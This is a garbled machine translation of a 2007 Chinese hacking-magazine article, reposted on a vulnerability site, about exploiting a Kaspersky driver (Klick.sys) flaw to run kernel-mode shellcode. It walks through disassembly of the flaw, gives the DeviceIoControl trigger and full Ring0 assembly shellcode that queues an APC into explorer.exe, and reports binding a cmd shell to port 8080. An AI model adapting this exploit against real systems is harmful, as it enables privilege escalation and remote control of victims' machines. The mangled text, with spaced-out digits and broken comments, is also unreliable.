Lucene search

K
myhack58佚名MYHACK58:62200717877
HistoryDec 22, 2007 - 12:00 a.m.

From the Kabbah vulnerability glimpse of kernel-mode Shellcode writing-vulnerability warning-the black bar safety net

2007-12-2200:00:00
佚名
www.myhack58.com
20

Source: gyzy’s Blog

This article has been published in the hacker line of Defense of the 2 0 0 7 year 1 1 monthly. The author and the hacker line of Defense on the retention of copyright, reproduced, please indicate the original source

For the reader: overflow of lovers
Pre-knowledge: Assembly language, Windows kernel-the basic principles
From the Kabbah vulnerability glimpse of kernel-mode Shellcode writing
Text/figure gyzy[Jiangsu University, Information Security Department&EST]
In user mode(Ring3)in the presence of various vulnerabilities in the kernel mode(Ring0)exist, and some vulnerabilities in user mode instead of relatively rare, more typical example is the DeviceIOControl deformity parameters of this class of vulnerability. User mode Exploit technique is kernel Exploit Technology, If used in conjunction with the user mode Exploit some of the concepts are also not very clear, it is recommended that the reader first understand the user mode Exploit and Shellcode techniques, both of which, although similar, but there are still very different, in kernel mode unlike the user state has a rich API interface functions available to call, and the requirements also more high, one not careful it will lead to blue screen. There are many online description drive a local elevation of privilege vulnerability of the articles, but for writing can be used in the Shellcode to this problem have avoided, this time I to Kabbah NDIS-TDI Hook driver(Klick.sys)deformity parameters vulnerability as a blueprint, a detailed account of how to write the kernel running Shellcode, KIS/KAV 6.0.0.0-6.0.0.307 are the presence of this vulnerability, tested it note version. Before you begin, first to introduce use to the background knowledge.

Background knowledge
Kernel&Userland
3 8 6 and above of CPU to achieve a 4 privilege level mode(WINDOWS only two of which), wherein the privilege level 0(Ring0)is left to theoperating systemcode, device driver code to use, they work to the core of the system state; and the privileges of the pole 3(Ring3)to the ordinary user program to use, and they work in user mode. Running on a processor core state of the code is not subject to any restrictions, can freely access to any valid address, for direct port access. While running in user mode code will have to be the Processor of many checks, they can only access the Map in its address space the page table entries specified in in user mode can access the page of the virtual address, and only the task state segment(TSS)I/O permission bitmap(I/O Permission Bitmap)specified in the access port for direct access(in this case, the Processor status and control flag register EFLAGS in the IOPL is usually 0, indicating the current can be direct I/O is the lowest privilege level is Ring0)。 The above discussion is limited to Protected Modeoperating system, as in DOS this real modeoperating systemthere is no such concept, in which all the code can be seen as operating in the core state. The Processor mode from Ring3 to Ring0 switching occurs in the transfer of control, there are the following two cases: to access the call door of the long branch instruction CALL, access the interrupt gate or trap gate of the INT instruction. Specific transfer details due to the complex protection checks and stack switches, not repeat them, see the related information. Modernoperating systemis usually used to interrupt the door to provide system services, by executing an into instruction to complete the mode switching, in the INTEL X86, this instruction is INT, as in WIN9X is INT30(protected-mode callback), and under Linux is INT80, in the WINNT/2 0 0 0 the following is INT2E it. The user-mode service program(such as System DLLS)through the implementation of an INTXX to request a system service, then the Processor mode switches to kernel mode, working in the core state of the corresponding system code will serve the request and the result is passed to the user program.

NativeAPI
The native API is in addition to the Win32 API, AND NT platforms open another interface. The native API it is running in the Ring0 layer, with no limit of operating authority, therefore, Microsoft for security reasons and there is no published support for this application of the developed method. Win32 API 中的 所有 调用 最终 都 转向 了 ntdll.dll that 再 由 它 转发 至 ntoskrnl.exe the. ntdll. dll is the native API user mode of the terminal. Real interfaces in ntoskrnl. exe. In fact, the kernel mode driver most of all in the call to this module. Ntdll. the dll’s main role is to let the kernel function of the particular subset may be a user mode program call. Ntdll. dll by software interrupt int 2Eh 进入 ntoskrnl.exe, that is, by interrupting the door switch the CPU privilege level.

Windows, the APC mechanism
APC is an“asynchronous procedure call (Asyncroneus Procedure Call)”acronym. From the large Windows of the APC mechanism is equivalent to the Linux Signal mechanism, is essentially one for the application(thread)of the“software interrupt”mechanism. But the reader will see, the APC mechanism at least in form with the software interrupt mechanism there’s still quite a difference, and referred to as“asynchronous procedure call”is indeed more apt. The APC and the system calls are closely linked together, in this sense, APC is the system call interface part. However, the APC and the device driver has a very close relationship. For example, the ntddk. h provides the“write file”system call ZwWriteFile (), NtWriteFile()call interface:
NTSYSAPI
NTSTATUS
NTAPI
ZwWriteFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID Buffer,
IN ULONG Length,
IN PLARGE_INTEGER ByteOffset OPTIONAL,
IN PULONG Key OPTIONAL
);
There is a parameter to ApcRoutine, this is a function pointer. When you want to use this pointer? It turned out that the file operation is“synchronous”and“asynchronous”. Ordinary of write file operation is a synchronous write, the start of this operation of the thread in the kernel to write the file during the operation is“blocked(blocked)”and enters a“sleep”until the device driver completes the operation only after the turn of the thread to“Wake up”from the system call returns. However, if the target file is according to an asynchronous operation to open, i.e. by the W32 API function CreateFile()to open the target file when the call parameter dwFlagsAndAttributes is set to FILE_FLAG_OVERLAPPED, then the caller will not be blocked, but to put things to the kernel, not equal to the actual completion of the operation is returned. But this time to the ApcRoutine is set to point to an APC function. Thus, when the device driver to complete the actual operation, it will make the caller thread to execute the APC function, as is the occurrence of an interrupt.

Vulnerability analysis
Vulnerability appears Kabbah of the NDIS-TDI Hook driver(Klick.sys), the drive in the process 0x80052110 number of IO requests when not on the parameters for sufficient validation, resulting in a non-privileged user is able to Ring0 privileges to execute arbitrary code,a similar vulnerability has been exposed by many, in the positioning of the problem code when you can in IDA directly to text search 8 0 0 5 2 1 1 0, the problem code is as follows:
. text:0 0 0 1 1 7 4 0 mov [ebp+var_8], ebx
. text:0 0 0 1 1 7 4 3 jz loc_11988
. text:0 0 0 1 1 7 4 9 cmp eax, 80052108h
. text:0001174E jz loc_1195E
. text:0 0 0 1 1 7 5 4 cmp eax, 8005210Ch
. text:0 0 0 1 1 7 5 9 jz loc_1194A
. text:0001175F cmp eax, 80052110h
. text:0 0 0 1 1 7 6 4 jz loc_117F8
Here the code is driven by the Dispatch routine of the IO code to handle a Switch Case judgment,see loc_117F8 the processing at code:
. text:000117F8 loc_117F8: ; CODE XREF: sub_1172A+3Aj
. text:000117F8 mov esi, [ebp+arg_4]
. text:000117FB cmp esi, ebx
. text:000117FD jz loc_119B0
. text:0 0 0 1 1 8 0 3 cmp [ebp+arg_8], 8
. text:0 0 0 1 1 8 0 7 jb loc_119B0
. text:0001180D mov eax, [ecx]
. text:0001180F push ebx
. text:0 0 0 1 1 8 1 0 call dword ptr [eax+14h]
. text:0 0 0 1 1 8 1 3 mov edi, eax
. text:0 0 0 1 1 8 1 5 cmp edi, ebx
. text:0 0 0 1 1 8 1 7 jz loc_1199F
. text:0001181D mov eax, [edi]
. text:0001181F mov ecx, edi
. text:0 0 0 1 1 8 2 1 call dword ptr [eax+4]
. text:0 0 0 1 1 8 2 4 push dword ptr [esi+4]
. text:0 0 0 1 1 8 2 7 mov ecx, edi
. text:0 0 0 1 1 8 2 9 push dword ptr [esi]
. text:0001182B call sub_15306
Note that in this case the [ebp+arg_4]that is, esi is the second parameter, a pointer to the user-submitted lpInBuffer, look at the DeviceIOControl of the prototype:
BOOL DeviceIoControl( HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped );
With the sub_15306: the
. text:0 0 0 1 5 3 0 6 push ebp
. text:0 0 0 1 5 3 0 7 mov ebp, esp
. text:0 0 0 1 5 3 0 9 sub esp, 20h
. text:0001530C push ebx
. text:0001530D push esi
. text:0001530E push edi
. text:0001530F mov esi, ecx
. text:0 0 0 1 5 3 1 1 call sub_1555A
. text:0 0 0 1 5 3 1 6 mov ecx, [ebp+arg_4]
. text:0 0 0 1 5 3 1 9 lea edi, [esi+10h]
. text:0001531C mov [esi+1ECh], ecx
. text:0 0 0 1 5 3 2 2 push ecx
. text:0 0 0 1 5 3 2 3 lea ecx, [esi+1B8h]
. text:0 0 0 1 5 3 2 9 mov [esi+1F0h], eax
. text:0001532F mov [edi], eax
. text:0 0 0 1 5 3 3 1 mov eax, [ebp+arg_0]
. text:0 0 0 1 5 3 3 4 push ecx
. text:0 0 0 1 5 3 3 5 push edi
. text:0 0 0 1 5 3 3 6 mov [esi+1ACh], eax
. text:0001533C call eax //note that this statement is,eax points to the user-submitted parameters
0 0 0 1 5 3 3 1 of the statement of the user state of the next pass the incoming of the pointer to eax register, since didn’t do any of the parameters of the validity check, the result can be execution of arbitrary code.

Exploit writing
Now the rest is what the code problem,as long as the function pointer passed to the DeviceIOControl to pass to the drive, because it is the Ring0 permission of the ordinary of the Shellcode will not be available, this time we can only use the background knowledge described in the native API, to substantially achieve the programme there are two:1. All functions are in kernel mode implementation 2. In kernel mode to user mode To insert the code. Obviously, the first method is not too easy to achieve, which refers to the function of the more complex Shellcode, for example: download execution, the binding of the port etc. Just elevated while the Internet has been a great cow to a ready-made code. If the Shellcode is more complex, the first 2 methods of the advantage is manifested,the kernel under the Shellcode just as a loader, is responsible for the Ring3 under the Shellcode is inserted into the Ring3 under a process. Here I only introduce the 2 methods of implementation, the POC code is a Taiwan users modified from a foreigner, but inside there are some small Bugs in the debugging process led me to a blue screen countless times. Trigger the vulnerable code is very simple, only talk about the number line:
hDevice = CreateFile(“\\\\.\\ KLICK”,0,0,NULL,3,0,0);
InSize = 0x8;
InBuff[0] =(DWORD) Ring0Shellcode;
dwIOCTL = 0x80052110;
DeviceIoControl(hDevice, dwIOCTL, InBuff,0x8,(LPVOID)NULL,0,&junk, NULL);
There may be readers will ask why InBuff size is 8, in the above driving of the disassembled code we can find the answer. The rest is written Ring0Shellcode problem, Ring0Shellcode is mainly to complete several functions:the Usermode Shellcode is copied to the target process, the initialization of an APC, this APC is inserted into the Ring3 under the thread,and then the drive where the thread hangs, to prevent its continued implementation causes a blue screen. To use the API function has the following several:ExAllocatePool, the KeInitializeApc And KeInsertQueueApc, the ZwYieldExecution And KeDelayExecutionThread on. The code is as follows, for the care of beginners, has added a detailed comment:
void _declspec(naked) Ring0Shellcode()
{
//Join the naked keyword is to tell the compiler not to add the extra build stack frames, etc. code
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop

mov eax,fs:[0x124] //TEB
mov esi,[eax+0x44] //EPROCESS
mov eax,esi search:
mov eax,[eax+0x88] //activeprocess
sub eax,0x88

/cmp dword ptr[eax+0x84],0x4 EPROCESS_PID by comparing the PID of the way to find a System to this process, this is in the lifting process rights to System in the Shellcode used in the/

cmp dword ptr[eax+0x174],‘lpxe’ //FileName explorer.exe
jne search

// mov ebx,dword ptr[eax+0xc8] system token*/
mov ebx,eax

lea esi,usermodeshellcode //usermodeshellcode
mov ecx,0x1d6 // usermodeshellcode size is 0x1d6
/Here the use of the Ring3 under the 7FFE0000 and Ring0 under FFDF0000 point to the same physical memory, and all processes are visible in this one found/
mov dword ptr[edi],0xffdf0800
push edi
mov edi,[edi]
rep movsb //will Ring3Shellcode copied to the shared memory 0xffdf0800
pop edi

/* To by the APC mechanism is activated Ring3 under the thread needs the thread is in"Alertable Wait State", if and only if the thread calls the following function and bAlertable this flag is set to True when it is in the Wait state: SleepEx, WaitForSingleObjectEx,SignalObjectAndWait,MsgWaitForMultipleObjectsEx*/
mov ecx,dword ptr[ebx+0x190]
finddelay:
mov ecx,[ecx]
cmp byte ptr[ecx-0x1ff],0x5 //1ff pointer to the thread state - state 0x5=wait
jnz finddelay //loop to find all the threads

sub ecx,0x22c
mov ebp,ecx

push 0x30 //APC structure The size of the body
push 0 //Nonpage application regardless of the page of memory
mov eax,ExAllocatePool //ExAllocatePool application memory
call eax //call ExAllocatePool

mov esi,eax
xor edx,edx
push edx //NULL
push 0 1 //UserMode
push eax //User Mode routine
push edx //NULL
mov eax,ZwYieldExecution //kernel routine ret
push eax //Kernel Mode routine
push edx //NULL
push ebp //found earlier thread ETHREAD
push esi //APC object
mov eax,KeInitializeApc //initialize APC
call eax

xor ecx,ecx
xor edx,edx
xor eax,eax
push eax
push eax
push ebp //ETHREAD
push esi //APC Object
mov eax,KeInsertQueueApc
call eax

mov byte ptr[ebp+0x4a],0x1

push offset delay-time
push 0
push 0
mov eax,KeDelayExecutionThread //so that the thread enters a sleep state
call eax

NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
Because this vulnerability is a local overflow, so to get the above to use the API a lot simpler, you can trigger the vulnerability before the By in user mode LoadLibrary(ntkrnlpa),to obtain a function of the offset of the+kernel module ntkrnlpa base address of the method to obtain:
ExAllocatePool=(DWORD)GetProcAddress(base,“ExAllocatePool”);
ExAllocatePool=(DWORD)((DWORD)ExAllocatePool - (DWORD)base+(DWORD)kbase);
The kernel module ntkrnlpa’s base address can call the native API NtQuerySystemInformation obtained, can also be through other methods is obtained. If it is a remote overflow while it slightly to trouble in mind, need to find ntkrnlpa of the base, the analysis of which derived table to get the API function address. The author would similar ExAllocatePool these variables are defined as int*type variable, in the above calculation will lead to some API to get the address is not accurate, let me blue a lot of times, later in the WinDBG under a debugger, found the original is the address of the function obtained does not, depressed Ah. Don’t know whether the compiler is different. In addition at the time of the test there is little to note, need to turn off DEP,as shown in Figure 1:

!

Figure 1
DEP is Data Execution protection, is XP SP2 after a new launch of something, don’t know why the code in 7FFE0000 it will also intercept, could Microsoft have long for this area to make a guard, also did not carefully to study, of course, can advance to OpenProcess, and then VitrualAllocEx application an address of the memory to bypass the DEP, if it is a remote overflow then may be more trouble, interested readers can try. Then run the kis. exe after a short wait, you can see we bind cmd to 8 0 8 0 port the Shellcode has been executed successfully,as shown in Figure 2:

!

Figure 2

Summary
This is my first attempt to write kernel Exploit, and after about commissioning for three or four days, in the Kernel world, one little mistake will cause blue screen, which led me now to see blue screen would feel sick to my stomach, haha. This by Kernel Loader to execute the Shellcode in the way is the current mainstream is also a more convenient one implementation, the reader can replace the PoC Shellcode to achieve their desired function. For traditional application security, everyone has to study the comparative penetration, and in Ring3 under some software security issues to Ring0 under is still there, has not caused everyone enough attention. This piece relative to said can also be considered a relatively new field, and in the future may become another research hotspot.
The article also write the comparison in haste, mistakes omissions are inevitable, please readers correct me, have any questions to my blog comment:http://www. gyzy. org